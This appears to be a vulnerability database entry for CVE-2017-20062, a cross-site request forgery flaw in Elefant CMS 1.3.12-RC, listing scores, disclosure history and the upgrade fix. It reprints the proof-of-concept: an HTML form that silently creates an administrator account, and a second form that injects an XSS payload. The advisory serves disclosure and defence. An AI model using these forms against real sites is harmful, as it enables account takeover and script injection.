CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
---|---|---|
4.3 | $0-$5k | 0.00 |
A vulnerability was found in Elefant CMS 1.3.12-RC (Content Management System) and classified as problematic. This issue affects an unknown functionality. The manipulation with an unknown input leads to a cross-site request forgery vulnerability. Using CWE to declare the problem leads to CWE-352. The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. Impacted is confidentiality, integrity, and availability.
The weakness was shared 02/16/2017 by Tim Coen with Curesec Research Team as Elefant CMS 1.3.12-RC: CSRF as not defined mailinglist post (Full-Disclosure). It is possible to read the advisory at seclists.org. The identification of this vulnerability is CVE-2017-20062. The exploitation is known to be difficult. The attack may be initiated remotely. No form of authentication is needed for a successful exploitation. It demands that the victim is doing some kind of user interaction. Technical details are unknown but a public exploit is available.
A public exploit has been developed by Tim Coen and been published immediately after the advisory. The exploit is available at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 283 days. During that time the estimated underground price was around $0-$5k. The code used by the exploit is:
<html> <body> <form action="http://localhost/user/add"; method ="POST"> <input type="hidden" name="name" value="admin3" /> <input type= "hidden" name="email" value="admin3 () example com" /> <input type="hidden" name= "password" value="admin3" /> <input type="hidden" name="verify_pass" value= "admin3" /> <input type="hidden" name="type" value="admin" /> <input type= "hidden" name="company" value="" /> <input type="hidden" name="title" value="" /> <input type="hidden" name="website" value="" /> <input type="hidden" name= "photo" value="" /> <input type="hidden" name="about" value="" /> <input type= "hidden" name="phone" value="" /> <input type="hidden" name="fax" value="" /> <input type="hidden" name="address" value="" /> <input type="hidden" name= "address2" value="" /> <input type="hidden" name="city" value="" /> <input type ="hidden" name="state" value="" /> <input type="hidden" name="country" value="" /> <input type="hidden" name="zip" value="" /> <input type="submit" value= "Submit request" /> </form> </body> </html> XSS: <html> <body> <form action= "http://localhost/designer/preview"; method="POST"> <input type="hidden" name= "layout" value="<img src=no onerror=alert(1)>" /> <input type="submit" value= "Submit request" /> </form> </body> </html>
Upgrading to version 1.3.13 eliminates this vulnerability.
The entries 97260, 97261, 97255 and 97256 are related to this item.
Product
Type
Vendor
Name
Version
CPE 2.3
CPE 2.2
CVSSv4
VulDB CVSS-B Score: 🔍VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 5.0VulDB Meta Temp Score: 4.3
VulDB Base Score: 5.0
VulDB Temp Score: 4.3
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv2
AV | AC | Au | C | I | A |
---|---|---|---|---|---|
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
---|---|---|---|---|---|
unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
Researcher Base Score: 🔍
Exploiting
Class: Cross-site request forgeryCWE: CWE-352 / CWE-862 / CWE-863
ATT&CK: Unknown
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Tim Coen
Download: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
0-Day | unlock | unlock | unlock | unlock |
---|---|---|---|---|
Today | unlock | unlock | unlock | unlock |
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: UpgradeStatus: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍
Upgrade: CMS 1.3.13
Timeline
05/09/2016 🔍02/16/2017 🔍
02/16/2017 🔍
02/24/2017 🔍
06/18/2022 🔍
Sources
Advisory: Elefant CMS 1.3.12-RC: CSRFResearcher: Tim Coen
Organization: Curesec Research Team
Status: Not defined
CVE: CVE-2017-20062 (🔍)
scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍
Entry
Created: 02/24/2017 15:48Updated: 06/18/2022 16:19
Changes: 02/24/2017 15:48 (55), 02/24/2017 15:49 (2), 06/18/2022 16:19 (3)
Complete: 🔍
No comments yet. Languages: en.
Please log in to comment.